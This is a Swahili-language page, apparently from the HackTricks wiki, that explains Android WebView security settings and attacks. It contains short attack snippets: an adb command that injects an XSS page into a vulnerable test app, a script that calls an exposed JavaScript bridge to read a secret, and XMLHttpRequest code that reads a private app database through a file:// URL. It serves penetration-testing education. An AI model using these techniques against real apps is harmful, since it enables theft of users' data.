hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

9.2 KiB
Raw Blame History

Mashambulizi ya WebView

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Mwongozo kuhusu Mipangilio na Usalama wa WebView

Muhtasari wa Udhaifu wa WebView

Sehemu muhimu ya maendeleo ya Android inahusisha kushughulikia kwa usahihi WebViews. Mwongozo huu unasisitiza mipangilio muhimu na mazoea ya usalama ili kupunguza hatari zinazohusiana na matumizi ya WebView.

Mfano wa WebView

Upatikanaji wa Faili katika WebViews

Kwa chaguo-msingi, WebViews huruhusu upatikanaji wa faili. Kazi hii inadhibitiwa na njia ya setAllowFileAccess(), inayopatikana tangu Android API kiwango cha 3 (Cupcake 1.5). Programu zilizo na idhini ya android.permission.READ_EXTERNAL_STORAGE zinaweza kusoma faili kutoka kwenye hifadhi ya nje kwa kutumia mpango wa URL wa faili (file://path/to/file).

Vipengele Vilivyopitwa na Wakati: Upatikanaji wa Kila mahali Kutoka kwenye URL za Faili

  • Upatikanaji wa Kila mahali Kutoka kwenye URL za Faili: Kipengele kilichopitwa na wakati kiliruhusu maombi kutoka kwa URL za faili, kwa hivyo kikawa hatari kubwa ya usalama kutokana na mashambulizi ya XSS. Mipangilio ya chaguo-msingi ni imelemazwa (false) kwa programu zinazolenga Android Jelly Bean na mpya zaidi.
  • Ili kuangalia mipangilio hii, tumia getAllowUniversalAccessFromFileURLs().
  • Ili kubadilisha mipangilio hii, tumia setAllowUniversalAccessFromFileURLs(boolean).
  • Upatikanaji wa Faili Kutoka kwenye URL za Faili: Kipengele hiki, pia kilichopitwa na wakati, kilidhibiti upatikanaji wa maudhui kutoka kwenye URL za mpango wa faili nyingine. Kama upatikanaji wa kila mahali, chaguo-msingi ni imelemazwa kwa usalama bora.
  • Tumia getAllowFileAccessFromFileURLs() kuangalia na setAllowFileAccessFromFileURLs(boolean) kuweka.

Upakiaji Salama wa Faili

Kwa kulemaza upatikanaji wa mfumo wa faili lakini bado kupata mali na rasilimali, njia ya setAllowFileAccess() hutumiwa. Kuanzia Android R na zaidi, mipangilio ya chaguo-msingi ni false.

  • Angalia na getAllowFileAccess().
  • Wezesha au lemesha kwa kutumia setAllowFileAccess(boolean).

WebViewAssetLoader

Darasa la WebViewAssetLoader ni njia ya kisasa ya kupakia faili za ndani. Inatumia URL za http(s) kwa kupata mali na rasilimali za ndani, ikilingana na sera ya Asili-Sawa, hivyo kurahisisha usimamizi wa CORS.

loadUrl

Hii ni kazi ya kawaida hutumiwa kupakia URL za kiholela katika webview:

webview.loadUrl("<url here>")

Kudhibiti URL

  • JavaScript: Imezimwa kwa chaguo-msingi kwenye WebViews, inaweza kuwezeshwa kupitia setJavaScriptEnabled(). Tahadhari inashauriwa kwani kuwezesha JavaScript bila ulinzi sahihi kunaweza kuleta mapungufu ya usalama.
  • Intent Scheme: WebViews inaweza kushughulikia mpango wa intent, ikiongoza kwa uwezekano wa kudanganya ikiwa hautasimamiwa kwa uangalifu. Mfano wa udhaifu ulihusisha parameter ya WebView iliyofunuliwa "support_url" ambayo inaweza kutumika kutekeleza mashambulizi ya kuvuka tovuti (XSS).

WebView Inayoweza Kudukuliwa

Mfano wa kutumia unyonyaji kwa kutumia adb:

{% code overflow="wrap" %}

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"

{% endcode %}

Daraja la Javascript

Kipengele kinachotolewa na Android kinachowezesha JavaScript katika WebView kuita kazi za programu za asili za Android. Hii inafanikishwa kwa kutumia njia ya addJavascriptInterface, ambayo inaunganisha JavaScript na kazi za asili za Android, inayoitwa Daraja la JavaScript la WebView. Tahadhari inashauriwa kwani njia hii inaruhusu kurasa zote ndani ya WebView kupata ufikivu wa kitu cha Kuingiliana cha JavaScript kilichosajiliwa, ikileta hatari ya usalama ikiwa taarifa nyeti itafunuliwa kupitia viunganishi hivi.

  • Tahadhari kali inahitajika kwa programu zinazolenga toleo la Android chini ya 4.2 kutokana na udhaifu unaoruhusu utekelezaji wa kanuni kwa mbali kupitia JavaScript yenye nia mbaya, ikichexploitisha uangavu.

Kutekeleza Daraja la JavaScript

  • Viunganishi vya JavaScript vinaweza kuingiliana na kanuni ya asili, kama inavyoonekana katika mifano ambapo njia ya darasa inafunuliwa kwa JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge inawezeshwa kwa kuongeza kiolesura kwa WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
  • Uwezekano wa kutumia JavaScript, kwa mfano, kupitia shambulio la XSS, inawezesha wito wa njia za Java zilizofichuliwa:
<script>alert(javascriptBridge.getSecret());</script>
  • Ili kupunguza hatari, zuia matumizi ya daraja la JavaScript kwa nambari iliyotumwa na APK na zuia kupakia JavaScript kutoka vyanzo vya mbali. Kwa vifaa vya zamani, weka kiwango cha chini cha API kuwa 17.

Utekelezaji wa Nambari ya Mbali kwa Kutumia Uakisi (RCE)

  • Mbinu iliyodokumentiwa inaruhusu kufikia RCE kupitia uakisi kwa kutekeleza mzigo maalum. Hata hivyo, alama ya @JavascriptInterface inazuia ufikiaji usioidhinishwa wa njia, ikipunguza eneo la shambulio.

Upelelezi wa Mbali

  • Upelelezi wa mbali unawezekana na Zana za Watengenezaji wa Chrome, kuruhusu mwingiliano na utekelezaji wa JavaScript wa kiholela ndani ya yaliyomo kwenye WebView.

Kuwezesha Upelelezi wa Mbali

  • Upelelezi wa mbali unaweza kuwezeshwa kwa WebViews zote ndani ya programu kwa:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Ili kuwezesha upelelezi kwa msingi wa hali ya kuhakiki ya programu:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Kutuma faili za kiholela

  • Inaonyesha kutuma faili za kiholela kwa kutumia XMLHttpRequest:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

Marejeo

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: